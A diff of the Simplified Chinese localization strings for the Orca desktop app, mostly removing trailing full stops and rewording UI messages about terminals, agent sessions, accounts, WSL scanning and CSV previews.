+      "openCodeWslReaderNotPrepared": "WSL SQLite 读取器尚未准备就绪。请刷新 Vault 以重试",
+      "openCodeDatabaseBusy": "{{label}} 正在写入 {{name}}，因此已跳过其历史记录。下次刷新时会重新读取",
       "openCodeDatabaseUnreadable": "无法读取 {{label}} 在 {{name}} 中的历史记录：{{detail}}",
-      "openCodeWslDatabaseUnsupported": "目前尚无法从 Windows 搜索 WSL 内的 {{label}} 会话。",
-      "openCodeWriteAheadLogUnreadable": "无法读取 {{label}} 在 {{name}} 中的历史记录。此文件系统不支持以只读方式打开其预写日志。请正常退出 {{label}} 以将日志写入数据库。",
-      "wslTranscriptFsSlow": "由于文件系统访问耗时过长，WSL 会话记录文件暂时不可用。请稍后重试；如果问题持续，请重启 Orca。",
-      "wslTranscriptFsCapacity": "由于已有太多文件系统请求在排队，暂时无法查找 WSL 会话记录。请稍后重试；如果问题持续，请重启 Orca。",
-      "wslTranscriptFsProcessFailed": "由于文件系统辅助进程失败（{{detail}}），WSL 会话记录文件暂时不可用。请稍后重试；如果问题持续，请重启 Orca。",
-      "wslDistroNotRunning": "由于 WSL 发行版“{{distro}}”未运行，WSL 会话记录文件不可用。请在该发行版中打开终端以启动它。",
-      "wslDistroUnverifiable": "WSL 未回应“{{distro}}”是否正在运行，因此无法使用 WSL 会话记录文件。请稍后重试。",
-      "wslSessionsFromLastScan": "无法检查 WSL；其会话来自上次扫描。",
-      "scopePathsTruncated": "仅扫描了前 {{limit}} 个项目路径。",
-      "invalidResultsSkipped_other": "已跳过智能体会话历史中 {{count}} 条无效的结果条目。",
-      "scanTimedOutOnSshHost": "此 SSH 主机上的会话扫描在 {{seconds}} 秒后超时。请刷新以重试。",
-      "scanTimedOut": "会话扫描在 {{seconds}} 秒后超时，计算机可能正忙。请刷新以重试。",
-      "scannerPaused": "会话扫描因多次失败而暂停。请刷新以重试。",
-      "scannerBusy": "同时进行的会话扫描过多。请稍等片刻，然后刷新。",
-      "scannerMissing": "此 Orca 安装中缺少会话扫描器。重新安装 Orca 可将其恢复。",
-      "scannerStopped": "会话扫描器意外停止。请刷新以重试。"
+      "openCodeWslDatabaseUnsupported": "目前尚无法从 Windows 搜索 WSL 内的 {{label}} 会话",
+      "openCodeWriteAheadLogUnreadable": "无法读取 {{label}} 在 {{name}} 中的历史记录。此文件系统不支持以只读方式打开其预写日志。请正常退出 {{label}} 以将日志写入数据库",
+      "wslTranscriptFsSlow": "由于文件系统访问耗时过长，WSL 会话记录文件暂时不可用。请稍后重试；如果问题持续，请重启 Orca",
+      "wslTranscriptFsCapacity": "由于已有太多文件系统请求在排队，暂时无法查找 WSL 会话记录。请稍后重试；如果问题持续，请重启 Orca",
+      "wslTranscriptFsProcessFailed": "由于文件系统辅助进程失败（{{detail}}），WSL 会话记录文件暂时不可用。请稍后重试；如果问题持续，请重启 Orca",
+      "wslDistroNotRunning": "由于 WSL 发行版“{{distro}}”未运行，WSL 会话记录文件不可用。请在该发行版中打开终端以启动它",
+      "wslDistroUnverifiable": "WSL 未回应“{{distro}}”是否正在运行，因此无法使用 WSL 会话记录文件。请稍后重试",
+      "wslSessionsFromLastScan": "无法检查 WSL；其会话来自上次扫描",
+      "scopePathsTruncated": "仅扫描了前 {{limit}} 个项目路径",
+      "invalidResultsSkipped_other": "已跳过智能体会话历史中 {{count}} 条无效的结果条目",
+      "scanTimedOutOnSshHost": "此 SSH 主机上的会话扫描在 {{seconds}} 秒后超时。请刷新以重试",
+      "scanTimedOut": "会话扫描在 {{seconds}} 秒后超时，计算机可能正忙。请刷新以重试",
+      "scannerPaused": "会话扫描因多次失败而暂停。请刷新以重试",
+      "scannerBusy": "同时进行的会话扫描过多。请稍等片刻，然后刷新",
+      "scannerMissing": "此 Orca 安装中缺少会话扫描器。重新安装 Orca 可将其恢复",
+      "scannerStopped": "会话扫描器意外停止。请刷新以重试"
     },
     "sessionAccount": "账户",
     "sessionAccountUnknown": "未知"
   },
   "common": {
     "retry": "重试",
-    "cancel": "取消"
+    "cancel": "取消",
+    "unassigned": "未分配"
   },
   "fileExplorer": {
     "root": {
@@ -21327,8 +21769,8 @@
       "retry": "重试",
       "sparseStatus": "稀疏检出",
       "scopeDetails": "关于稀疏检出范围",
-      "scopeExplanation": "文件夹选择器只改变显示范围，不会改变检出的文件。仓库根目录视图也会显示根目录和上级文件夹中已检出的文件。",
-      "searchExplanation": "“名称”筛选当前查看的文件夹。“内容”搜索整个工作区。稀疏检出排除的文件不会被搜索。",
+      "scopeExplanation": "文件夹选择器只改变显示范围，不会改变检出的文件，仓库根目录视图也会显示根目录和上级文件夹中已检出的文件",
+      "searchExplanation": "“名称”筛选当前查看的文件夹，“内容”搜索整个工作区，稀疏检出排除的文件不会被搜索",
       "findInFolder": "在 {{path}} 中查找",
       "folderLoadError": "无法加载此文件夹：",
       "emptyFolder": "此文件夹中没有文件"
@@ -21336,62 +21778,62 @@
     "trashFailed": {
       "titleRecycleBin": "无法将“{{name}}”移到回收站。是否永久删除？",
       "titleTrash": "无法将“{{name}}”移到废纸篓。是否永久删除？",
-      "description": "此操作无法撤销。",
+      "description": "此操作无法撤销",
       "confirm": "永久删除"
     }
   },
   "sparsePreset": {
-    "nameRequired": "请输入名称。",
-    "nameTooLong": "名称不能超过80个字符。",
-    "nameExists": "名为“{{name}}”的预设已存在。",
+    "nameRequired": "请输入名称",
+    "nameTooLong": "名称不能超过80个字符",
+    "nameExists": "名为“{{name}}”的预设已存在",
     "name": "名称",
     "namePlaceholder": "Web应用与共享UI",
     "directories": "目录",
-    "coneHelp": "Git还会保留仓库根目录以及这些目录的父文件夹中的文件。",
+    "coneHelp": "Git还会保留仓库根目录以及这些目录的父文件夹中的文件",
     "cancel": "取消",
     "save": "保存预设",
     "new": "新建稀疏检出预设",
     "edit": "编辑稀疏检出预设",
-    "saveFailed": "无法保存预设。请重试。",
+    "saveFailed": "无法保存预设，请重试",
     "loading": "正在加载预设...",
     "details": "会检出哪些文件？",
-    "pathInstructions": "每行输入一个文件夹，使用相对于仓库根目录的路径。",
+    "pathInstructions": "每行输入一个文件夹，使用相对于仓库根目录的路径",
     "retryLoad": "重试加载预设",
     "fullCheckout": "完整检出",
     "checkoutPreset": "检出预设",
     "search": "查找预设…",
-    "noMatches": "没有匹配的预设。",
+    "noMatches": "没有匹配的预设",
     "allFiles": "仓库中的所有文件",
     "editNamed": "编辑 {{name}}",
-    "addPath": "Add a folder",
-    "noPathMatches": "No folders found.",
-    "repositoryRoot": "Repository root",
-    "loadingPaths": "Reading folders…",
-    "pathsUnavailable": "无法读取此文件夹。请输入路径。",
+    "addPath": "添加文件夹",
+    "noPathMatches": "未找到文件夹",
+    "repositoryRoot": "仓库根目录",
+    "loadingPaths": "正在读取文件夹…",
+    "pathsUnavailable": "无法读取此文件夹，请改为输入路径",
     "pathAdded": "Added",
     "openFolder": "Open {{name}}",
-    "findOrTypePath": "查找文件夹，或输入任意路径...",
-    "noDirectories": "尚未添加文件夹。",
+    "findOrTypePath": "查找文件夹，或输入任意路径…",
+    "noDirectories": "尚未添加文件夹",
     "removePath": "Remove {{name}}",
     "addTypedPathCode": "添加 <path/>"
   },
   "accounts": {
     "wslAccountNotApplied": {
       "title": "未在 {{distro}} 中应用账户选择",
-      "description": "在 WSL 中的 Orca 更新之前，那里的智能体将使用该发行版默认的 Claude 和 Codex 账户。"
+      "description": "在 WSL 中的 Orca 更新之前，那里的代理将使用该发行版默认的 Claude 和 Codex 账户"
     },
     "managedData": {
-      "description": "在 Orca 主机的终端中运行此命令以添加账户。选择适用于该主机上新启动的智能体；直接 SSH 连接和 Windows 托管的 WSL 使用各自的凭据。",
+      "description": "在 Orca 主机的终端中运行此命令以添加账户，选择适用于该主机上新启动的代理，直接 SSH 连接和 Windows 托管的 WSL 使用各自的凭据",
       "copied": "已复制",
       "add": "复制添加账户命令",
       "refresh": "刷新账户",
-      "upgrade": "如果账户未显示，请更新或重启 Orca 主机。",
+      "upgrade": "如果账户未显示，请更新或重启 Orca 主机",
       "system": "系统默认",
       "active": "当前使用",
       "select": "选择",
       "remove": "移除",
       "removeTitle": "移除托管账户？",
-      "removeDescription": "请先停止使用此配置的智能体。移除将删除其保存的凭据和对话数据。系统登录不受影响。",
+      "removeDescription": "请先停止使用此配置的代理，移除将删除其保存的凭据和对话数据，系统登录不受影响",
       "cancel": "取消"
     },
     "antigravity": {
@@ -21401,24 +21843,24 @@
       "chatRetry": "重试登录",
       "chatCancel": "取消",
       "chatCopyLink": "复制登录链接",
-      "chatCopyFailed": "无法复制链接。",
+      "chatCopyFailed": "无法复制链接",
       "chatStarting": "正在开始登录…",
-      "chatWaiting": "请在浏览器中完成登录。",
-      "chatOpenFailed": "复制链接并在浏览器中打开。",
+      "chatWaiting": "请在浏览器中完成登录",
+      "chatOpenFailed": "复制链接并在浏览器中打开",
       "chatVerifying": "正在完成登录…",
-      "chatPasteHelp": "如果登录后的最后一个页面无法加载，请从浏览器复制它的完整地址并粘贴到这里。",
+      "chatPasteHelp": "如果登录后的最后一个页面无法加载，请从浏览器复制它的完整地址并粘贴到这里",
       "chatContinue": "继续",
-      "chatCancelled": "已取消登录。",
-      "chatExpired": "登录超时。请重试。",
-      "chatFailed": "登录失败。请重试。",
-      "chatOtherClient": "另一个客户端正在登录。",
-      "chatReadFailed": "无法检查 {{host}} 上的登录。",
-      "signIn": "在此主机上启动 agy 并完成其浏览器登录，然后保存当前帐户。要添加其他帐户，请在 agy 中使用 /logout 并再次登录。",
+      "chatCancelled": "已取消登录",
+      "chatExpired": "登录超时，请重试",
+      "chatFailed": "登录失败，请重试",
+      "chatOtherClient": "另一个客户端正在登录",
+      "chatReadFailed": "无法检查 {{host}} 上的登录",
+      "signIn": "在此主机上启动 agy 并完成其浏览器登录，然后保存当前帐户，要添加其他帐户，请在 agy 中使用 /logout 并再次登录",
       "docs": "登录说明",
       "retry": "重试",
       "identityUnknown": "登录身份不可用",
-      "signedOut": "没有登录本机 agy 帐户。",
-      "changed": "本机帐户已更改。在启动 agy 之前再次选择已保存的帐户。",
+      "signedOut": "没有登录本机 agy 帐户",
+      "changed": "本机帐户已更改，在启动 agy 之前再次选择已保存的帐户",
       "save": "保存当前帐户",
       "refresh": "刷新帐户",
       "usage": "刷新使用情况",
@@ -21429,8 +21871,8 @@
       "selected": "已选择",
       "select": "选择",
       "remove": "移除",
-      "sessions": "选择适用于该主机上的新 agy 会话。现有会话可能会保留其以前的帐户。",
-      "searchDescription": "在执行主机上保存并选择本机 agy Google 帐户。",
+      "sessions": "选择适用于该主机上的新 agy 会话，现有会话可能会保留其以前的帐户",
+      "searchDescription": "在执行主机上保存并选择本机 agy Google 帐户",
       "title": "Antigravity",
       "keyword": {
         "antigravity": "反重力",
@@ -21450,46 +21892,46 @@
       "fd47b5a5dd": "Antigravity账户"
     },
     "claude": {
-      "added": "已添加账户。选择它即可将其用于您下次启动的 Claude。",
+      "added": "已添加账户，选择它即可将其用于您下次启动的 Claude",
       "nextLaunch": "{{value0}} → {{value1}}。您下次启动的 Claude 终端将使用此账户。正在运行的 Claude 终端会保留其账户。",
-      "profileSwitching": "切换会应用于您在任何标签页中下次启动的 Claude。正在运行的会话会保留其账户。",
+      "profileSwitching": "切换会应用于您在任何标签页中下次启动的 Claude，正在运行的会话会保留其账户",
       "systemDefault": "系统默认",
       "unnamedAccount": "Claude 账户",
       "systemDefaultNamed": "系统默认：{{value0}}",
-      "systemDefaultIsSaved": "系统默认已登录为 {{value0}}，它同时也是一个已保存的账户。较早版本的 Orca 可能已将那个登录信息复制到那里。如果它不是您自己的登录信息，请选择系统默认并运行 claude /login。",
+      "systemDefaultIsSaved": "系统默认已登录为 {{value0}}，它同时也是一个已保存的账户，较早版本的 Orca 可能已将那个登录信息复制到那里，如果它不是您自己的登录信息，请选择系统默认并运行 claude /login",
       "systemDefaultIsSavedDismiss": "关闭",
       "signInRequired": "请重新登录以使用此账户",
       "signInAgain": "重新登录",
       "usageSignInLabel": "重新登录",
-      "usageSignInMessage": "所选 Claude 账户需要您重新登录。请打开设置 > AI 提供商账户，或选择系统默认。",
+      "usageSignInMessage": "所选 Claude 账户需要您重新登录，请打开设置 > AI 提供商账户，或选择系统默认",
       "signIn": "登录",
       "moreSignInOptions": "更多登录选项",
       "copySignInLink": "改为复制登录链接",
-      "signInLinkCopied": "已复制登录链接。请在隐私窗口中打开它以使用其他账户登录。",
-      "signInLinkCopyFailed": "无法复制链接。",
+      "signInLinkCopied": "已复制登录链接，请在隐私窗口中打开它以使用其他账户登录",
+      "signInLinkCopyFailed": "无法复制链接",
       "switchSessions": {
         "busy": "工作中",
         "idle": "空闲",
         "keyword": {
-          "restart": "重新启动",
+          "restart": "重启",
           "running": "运行中"
         },
         "settingAsk": "询问",
         "dontAskAgain": "不再询问（自动重启）",
-        "keep": "保持原样",
-        "restartOne": "重新启动会话",
-        "title": "切换到 {{account}}",
-        "dontAskAgainHint": "您可以在“设置”→“AI 提供商帐户”中关闭此功能。",
-        "listLabel": "要重新启动的 Claude 会话",
+        "keep": "保持不变",
+        "restartOne": "重启会话",
+        "title": "已切换到 {{account}}",
+        "dontAskAgainHint": "可在设置 → AI 服务商账户中关闭此选项",
+        "listLabel": "待重启的 Claude 会话",
         "settingTitle": "Claude 在终端中运行期间切换账户时",
         "settingDescription": "重启后，每个终端对话都会在新账户上继续。",
-        "settingRestart": "总是重新启动",
+        "settingRestart": "总是重启",
         "session": "Claude 会话",
-        "restartingOther": "正在 {{account}} 账户上重启 {{count}} 个 Claude 会话",
-        "uncheckedOne": "无法检查 1 个终端中的 Claude。如果 Claude 正在那里运行，它会保持 {{previous}} 直到重启。",
-        "uncheckedOther": "无法检查 {{count}} 个终端中的 Claude。其中正在运行的 Claude 会保持 {{previous}} 直到重启。",
-        "restartingOne": "正在 {{account}} 账户上重启 1 个 Claude 会话",
-        "settingKeep": "永不重启",
+        "restartingOther": "正在 {{account}} 上重启 {{count}} 个 Claude 会话",
+        "uncheckedOne": "无法检查 1 个终端中的 Claude。如果 Claude 正在那里运行，它会保持 {{previous}} 直到重启",
+        "uncheckedOther": "无法检查 {{count}} 个终端中的 Claude。其中正在运行的 Claude 会保持 {{previous}} 直到重启",
+        "restartingOne": "正在 {{account}} 上重启 1 个 Claude 会话",
+        "settingKeep": "从不重启",
         "groupOnAccount": "在 {{account}} 上运行",
         "groupElsewhere": "不在 {{account}} 上",
         "groupCantMove": "无法移动",
@@ -21498,12 +21940,12 @@
         "reasonOwnFolder": "使用你自己的 Claude 文件夹",
         "reasonUnknownAccount": "账户未知",
         "reasonNoSession": "无法恢复",
-        "notMovedOne": "另有 1 个会话未移动。",
-        "notMovedOther": "另有 {{count}} 个会话未移动。",
+        "notMovedOne": "另有 1 个会话未移动",
+        "notMovedOther": "另有 {{count}} 个会话未移动",
         "review": "查看",
         "restartCount_other": "重启 {{count}} 个会话",
-        "reviewBody_other": "其他 {{count}} 个 Claude 会话未移至 {{next}}。",
-        "body_other": "{{count}} 个 Claude 会话仍在 {{previous}} 上运行。重启后，各对话将在 {{next}} 上继续。忙碌的会话会等待空闲后再重启。",
+        "reviewBody_other": "其他 {{count}} 个 Claude 会话未移至 {{next}}",
+        "body_other": "{{count}} 个 Claude 会话仍在 {{previous}} 上运行。重启后，各对话将在 {{next}} 上继续。忙碌的会话会等待空闲后再重启",
         "reasonSharedSession": "在另一个窗格中也已打开",
         "sharedOne": "由于另一个窗格打开了同一对话，1 个 Claude 会话将保持在 {{previous}}。重新启动可能会重新打开另一个窗格的对话。",
         "sharedOther": "由于另一个窗格打开了同一对话，{{count}} 个 Claude 会话将保持在 {{previous}}。重新启动可能会重新打开另一个窗格的对话。"
@@ -21519,70 +21961,70 @@
       "copyFailed": "无法复制",
       "verifying": "正在 {{host}} 上完成登录...",
       "starting": "开始在 {{host}} 上登录...",
-      "pasteCodeHelp": "登录后，页面会显示一段代码。请将其粘贴到此处。",
-      "waiting": "在此设备上打开此页面并登录。帐户保存在 {{host}} 上。",
+      "pasteCodeHelp": "登录后，页面会显示一段代码。请将其粘贴到此处",
+      "waiting": "在此设备上打开此页面并登录。帐户保存在 {{host}} 上",
       "enterCode": "在该页面输入此代码：",
-      "cancelFailed": "暂时无法连接到服务器以取消操作。",
+      "cancelFailed": "暂时无法连接到服务器以取消操作",
       "errors": {
-        "ownerSilent": "发起此次登录的设备已停止响应。",
-        "superseded": "此主机上的账户变更中断了登录。请重新开始。",
-        "failed": "登录失败。请重试。"
+        "ownerSilent": "发起此次登录的设备已停止响应",
+        "superseded": "此主机上的账户变更中断了登录。请重新开始",
+        "failed": "登录失败。请重试"
       }
     },
-    "remoteScopeAccountsAddHere": "当前显示由 {{value0}} 管理的账户。新账户将在那里登录，您需要在此设备的浏览器中完成操作。"
+    "remoteScopeAccountsAddHere": "当前显示由 {{value0}} 管理的账户。新账户将在那里登录，您需要在此设备的浏览器中完成操作"
   },
   "osDocumentOpen": {
-    "failed": "无法打开文件。"
+    "failed": "无法打开文件"
   },
   "terminal": {
     "sessionSaveFailure": {
       "title": "无法保存终端会话",
-      "capacity": "保存该终端的设备报告存储空间已满或超出存储配额。该设备上有可用空间，然后重试。",
-      "unknown": "Orca 无法保存最终状态。再试一次。如果这种情况持续存在，请与支持人员共享 Orca 日志，以便我们找出原因。"
+      "capacity": "保存该终端的设备报告存储空间已满或超出存储配额，该设备上有可用空间，然后重试",
+      "unknown": "Orca 无法保存最终状态，再试一次，如果这种情况持续存在，请与支持人员共享 Orca 日志，以便我们找出原因"
     },
     "codexTerminalServerIsolationNotice": {
       "title": "Orca 现在无需共享服务器即可运行 Codex",
-      "description": "这使得智能体状态更加可靠。您可以在“设置”中将其重新打开。",
+      "description": "这使得代理状态更加可靠，您可以在“设置”中将其重新打开",
       "openSettings": "打开设置"
     },
     "codexSharedSettingsNotice": {
       "title": "Orca 中的 Codex 现在使用 ~/.codex",
-      "description": "Codex 可能会再次要求信任文件夹或批准命令。重新添加您仅在 Orca 中添加的所有 MCP 服务器。",
+      "description": "Codex 可能会再次要求信任文件夹或批准命令，重新添加您仅在 Orca 中添加的所有 MCP 服务器",
       "dismiss": "关闭"
     },
     "codexSharedServerBanner": {
       "title": "此 Codex 与您的其他 Codex 选项卡共享服务器",
-      "body": "会话可能会意外结束，并且智能体状态可能会错误。",
-      "openedBeforeUpdateBody": "这个终端是在 Orca 开始为每个 Codex 提供自己的服务器之前打开的。",
+      "body": "会话可能会意外结束，并且代理状态可能会错误",
+      "openedBeforeUpdateBody": "这个终端是在 Orca 开始为每个 Codex 提供自己的服务器之前打开的",
       "oldTerminalDialogTitle": "为什么此 Codex 共享服务器",
-      "oldTerminalDialogRisk": "共享服务器的 Codex 会话可能会一起结束，并且智能体状态可能会错误。",
-      "oldTerminalDialogCause": "较旧的终端仍然共享 Codex 服务器。打开一个新终端以在单独的服务器上运行 Codex。",
+      "oldTerminalDialogRisk": "共享服务器的 Codex 会话可能会一起结束，并且代理状态可能会错误",
+      "oldTerminalDialogCause": "较旧的终端仍然共享 Codex 服务器，打开一个新终端以在单独的服务器上运行 Codex",
       "fix": "使固定",
       "dialogTitle": "为每个 Codex 选项卡提供自己的服务器",
-      "dialogDescription": "Codex 会话直接在共享一台后台服务器的终端中启动。 Orca 将其启动的 Codex 会话分开保存。当会话共享一台服务器时，关闭一个服务器可能会结束其他服务器，并且智能体状态可能会错误。",
+      "dialogDescription": "Codex 会话直接在共享一台后台服务器的终端中启动，Orca 将其启动的 Codex 会话分开保存，当会话共享一台服务器时，关闭一个服务器可能会结束其他服务器，并且代理状态可能会错误",
       "copy": "复制",
       "copied": "已复制",
       "done": "完成",
       "step1Title": "关闭 Codex 服务器共享",
-      "step1Note": "这会更改您的 Codex 设置，因此它也适用于 Orca 外部。",
+      "step1Note": "这会更改您的 Codex 设置，因此它也适用于 Orca 外部",
       "step2Title": "停止正在运行的共享服务器",
-      "undo": "要撤消，请运行 codex features enable daemon_auto_start。",
+      "undo": "要撤消，请运行 codex features enable daemon_auto_start",
       "step2Warning": "关闭共享服务器的所有打开的 Codex 会话",
       "turnOff": "关",
       "turningOff": "正在关闭…",
       "turnedOff": "已关闭",
-      "turnOffFailed": "Orca 无法关闭此功能。",
+      "turnOffFailed": "Orca 无法关闭此功能",
       "stopServer": "停止服务器",
       "stopping": "停止…",
       "stopped": "已停止",
-      "stopFailed": "Orca 无法停止服务器。",
+      "stopFailed": "Orca 无法停止服务器",
       "confirmStopTitle": "停止共享服务器？",
-      "confirmStopDescription": "这将关闭所有共享它的开放 Codex 会话，包括 Orca 之外的会话。",
+      "confirmStopDescription": "这将关闭所有共享它的开放 Codex 会话，包括 Orca 之外的会话",
       "cancel": "取消",
-      "runs": "运行"
+      "runs": "跑步"
     },
     "paneMove": {
-      "failed": "无法将窗格移动到新选项卡。"
+      "failed": "无法将窗格移动到新选项卡"
     },
     "paneTopBanner": {
       "openNewTerminal": "打开新终端",
@@ -21591,61 +22033,65 @@
       "dismiss": "关闭"
     },
     "claudeOldTerminalBanner": {
-      "title": "此终端是在 Orca 的 Claude 账户更新之前打开的，因此这里的 claude 使用系统默认的登录信息。",
+      "title": "此终端是在 Orca 的 Claude 账户更新之前打开的，因此这里的 claude 使用系统默认的登录信息",
       "dialogTitle": "为何这里的 claude 不使用所选账户",
-      "dialogDescription": "Orca 现在将每个 Claude 账户保存在各自的文件夹中，新终端中的 claude 会遵循您选择的账户。",
-      "dialogCause": "在此更新之前打开的终端不会如此，因此这里的 claude 使用系统默认的登录信息登录。请打开新终端以使用所选账户。"
+      "dialogDescription": "Orca 现在将每个 Claude 账户保存在各自的文件夹中，新终端中的 claude 会遵循您选择的账户",
+      "dialogCause": "在此更新之前打开的终端不会如此，因此这里的 claude 使用系统默认的登录信息登录，请打开新终端以使用所选账户"
     },
     "newerDaemonBanner": {
       "failedTitle": "无法重新打开此终端",
       "title": "此终端是在较新版本的 Orca 中打开的",
-      "resumableBody": "在此重新打开以继续工作。您的智能体会话将会恢复。",
+      "resumableBody": "在此重新打开以继续工作，您的代理会话将会恢复",
       "reopening": "正在重新打开…",
       "tryAgain": "重试",
       "reopenTerminal_one": "重新打开终端",
       "reopenTerminal_other": "重新打开 {{count}} 个终端",
       "reopened_one": "已重新打开 {{count}} 个终端",
       "reopened_other": "已重新打开 {{count}} 个终端",
-      "resumed_one": "已恢复 {{count}} 个智能体会话。",
-      "resumed_other": "已恢复 {{count}} 个智能体会话。"
+      "resumed_one": "已恢复 {{count}} 个代理会话",
+      "resumed_other": "已恢复 {{count}} 个代理会话",
+      "reopenTerminal": "重新打开 {{count}} 个终端",
+      "reopened": "已重新打开 {{count}} 个终端",
+      "resumed": "已恢复 {{count}} 个代理会话"
     },
     "severedDaemonBanner": {
       "unknownCount": "其正在运行的终端",
-      "unverifiable": "Orca 无法验证终端服务进程，因此未停止任何内容。",
-      "alreadyReplaced": "终端服务已被替换；未停止任何内容。",
-      "restarted": "终端服务已重新启动。",
-      "failed": "重新启动失败。",
+      "unverifiable": "Orca 无法验证终端服务进程，因此未停止任何内容",
+      "alreadyReplaced": "终端服务已被替换，未停止任何内容",
+      "restarted": "终端服务已重新启动",
+      "failed": "重新启动失败",
       "title": "终端服务在缺少其程序文件的情况下运行",
-      "body": "此计算机上的终端服务是从一个已不再挂载的 AppImage 启动的。它仍在运行 {{sessions}}，但随时可能崩溃。在您重新启动它之前，Orca 退出时新终端不会被保留。",
+      "body": "此计算机上的终端服务是从一个已不再挂载的 AppImage 启动的，它仍在运行 {{sessions}}，但随时可能崩溃，在您重新启动它之前，Orca 退出时新终端不会被保留",
       "restart": "重新启动终端守护进程",
       "dismiss": "关闭",
       "confirmTitle": "重新启动终端守护进程？",
-      "confirmBody": "重新启动会结束 {{sessions}} 中运行的所有进程。支持恢复的智能体之后可以恢复；shell 和其他作业则不能，必须重新启动。请在智能体空闲时执行此操作。",
+      "confirmBody": "重新启动会结束 {{sessions}} 中运行的所有进程，支持恢复的代理之后可以恢复，shell 和其他作业则不能，必须重新启动，请在代理空闲时执行此操作",
       "cancel": "取消",
       "confirm": "重新启动并结束进程",
       "count_other": "{{count}} 个正在运行的终端",
-      "count_one": "{{count}} 个运行中的终端"
+      "count_one": "{{count}} 个运行中的终端",
+      "count": "{{count}} 个正在运行的终端"
     },
-    "restartedInputNotSent": "终端在您输入时重新启动，部分输入可能未送达。请先查看新的 shell，再重新输入。",
-    "typingBeforeStartNotSent": "终端启动期间输入的部分按键未发送。",
+    "restartedInputNotSent": "终端在您输入时重新启动，部分输入可能未送达，请先查看新的 shell，再重新输入",
+    "typingBeforeStartNotSent": "终端启动期间输入的部分按键未发送",
     "stalledDaemonBanner": {
-      "body": "此计算机上的后台工作已停滞。输入和新终端可能无法工作。重新启动终端服务会结束其正在运行的终端和命令。",
-      "review": "查看重新启动选项",
-      "title": "终端服务可能需要重新启动"
+      "body": "此电脑上的后台工作已停滞，输入和新终端可能无法工作，重启终端服务会结束其正在运行的终端和命令",
+      "review": "查看重启选项",
+      "title": "终端服务可能需要重启"
     },
     "claudeDiffPanelNotice": {
       "gotIt": "知道了",
-      "title": "Claude Code 可以在宽终端中的聊天旁边打开自己的差异面板。该面板是 Claude 的，而不是 Orca 的。",
-      "body": "要隐藏该面板，请在 Claude Code 中输入 /diff。Claude 会在后续会话中记住此选择。"
+      "title": "Claude Code 在较宽的终端中会在聊天旁打开自己的差异面板，那个面板属于 Claude，而不是 Orca",
+      "body": "要隐藏它，请在 Claude Code 中输入 /diff，Claude 会在之后的会话中记住这一选择"
     }
   },
   "fileSearch": {
-    "failed": "搜索失败。再试一次。",
+    "failed": "搜索失败，再试一次",
     "filters": {
       "toggle": "切换搜索详情",
       "active": "{{count}} 个已启用"
     },
-    "noResults": "没有结果。请尝试其他搜索或调整筛选条件。"
+    "noResults": "没有结果。请尝试其他搜索或调整筛选条件"
   },
   "csv": {
     "detectingDelimiter": "正在检测分隔符…",
@@ -21680,29 +22126,29 @@
     "save": "保存",
     "inspectionOnly": "仅查看 · 文件行顺序不变",
     "error": {
-      "tooManyCells": "CSV 中的单元格过多，无法安全预览。",
-      "recordTooLarge": "CSV 记录过大，无法安全预览。",
-      "tooManyPages": "CSV 页数过多，无法安全预览。",
-      "previewRecordLimit": "CSV 记录超出 1 MB 的预览限制。",
-      "binaryData": "此文件包含二进制数据。",
-      "previewColumnLimit": "CSV 超出 4,096 列的预览限制。",
-      "changedOnDisk": "磁盘上的 CSV 已更改。请重新加载文件以刷新预览。",
-      "pageBoundaryMismatch": "CSV 页面边界不匹配。请重新加载预览。",
+      "tooManyCells": "CSV 中的单元格过多，无法安全预览",
+      "recordTooLarge": "CSV 记录过大，无法安全预览",
+      "tooManyPages": "CSV 页数过多，无法安全预览",
+      "previewRecordLimit": "CSV 记录超出 1 MB 的预览限制",
+      "binaryData": "此文件包含二进制数据",
+      "previewColumnLimit": "CSV 超出 4,096 列的预览限制",
+      "changedOnDisk": "磁盘上的 CSV 已更改。请重新加载文件以刷新预览",
+      "pageBoundaryMismatch": "CSV 页面边界不匹配。请重新加载预览",
       "canceled": "CSV 预览已取消",
-      "workerFailed": "CSV 预览后台工作进程出错。请重新加载文件以重试。",
-      "workerUnreadableResponse": "CSV 预览后台工作进程返回了无法读取的响应。",
-      "cellMissing": "所选 CSV 行或列已不存在。",
-      "rowMissing": "所选 CSV 行已不存在。",
-      "columnLimit": "CSV 超出 4,096 列的限制。",
-      "recordLimit": "CSV 记录超出 1 MB 的限制。",
-      "tableEditBudget": "表格编辑内容必须小于 1 MiB。更大的更改请使用“源码”。",
-      "editConflict": "编辑此单元格时 CSV 已更改。请取消后重试。",
-      "saveFailed": "无法保存 CSV。编辑内容仍保留在草稿中。",
-      "pasteConflict": "粘贴完成前 CSV 已更改。请重试。",
-      "copyTooManyCells": "请减少一次复制的单元格数量。",
-      "copyTooLarge": "所选单元格过大，无法安全复制。",
-      "pasteExceedsTable": "粘贴范围超出表格。请先添加行或列。",
-      "pasteTooManyCells": "请减少一次粘贴的单元格数量。"
+      "workerFailed": "CSV 预览后台工作进程出错。请重新加载文件以重试",
+      "workerUnreadableResponse": "CSV 预览后台工作进程返回了无法读取的响应",
+      "cellMissing": "所选 CSV 行或列已不存在",
+      "rowMissing": "所选 CSV 行已不存在",
+      "columnLimit": "CSV 超出 4,096 列的限制",
+      "recordLimit": "CSV 记录超出 1 MB 的限制",
+      "tableEditBudget": "表格编辑内容必须小于 1 MiB。更大的更改请使用“源码”",
+      "editConflict": "编辑此单元格时 CSV 已更改。请取消后重试",
+      "saveFailed": "无法保存 CSV。编辑内容仍保留在草稿中",
+      "pasteConflict": "粘贴完成前 CSV 已更改。请重试",
+      "copyTooManyCells": "请减少一次复制的单元格数量",
+      "copyTooLarge": "所选单元格过大，无法安全复制",
+      "pasteExceedsTable": "粘贴范围超出表格。请先添加行或列",
+      "pasteTooManyCells": "请减少一次粘贴的单元格数量"
     }
   },
   "worktree": {
@@ -21713,10 +22159,10 @@
       "refreshFailed": "无法刷新工作区列表",
       "review": "连同嵌套工作树一起删除…",
       "title": "删除工作区和嵌套工作树？",
-      "description": "这将永久删除“{{name}}”、下面列出的每个嵌套工作树及其中的所有文件（包括未提交的更改）。它们的终端和智能体将被停止。",
+      "description": "这将永久删除“{{name}}”、下面列出的每个嵌套工作树及其中的所有文件（包括未提交的更改），它们的终端和代理将被停止",
       "detached": "分离 HEAD",
       "loading": "正在检查嵌套工作树…",
-      "order": "嵌套工作树会先被删除。如果其中一个失败，删除将停止并保留父工作树。分支遵循您现有的删除设置。",
+      "order": "嵌套工作树会先被删除，如果其中一个失败，删除将停止并保留父工作树，分支遵循您现有的删除设置",
       "cancel": "取消",
       "retry": "重新检查",
       "deleting": "正在删除…",
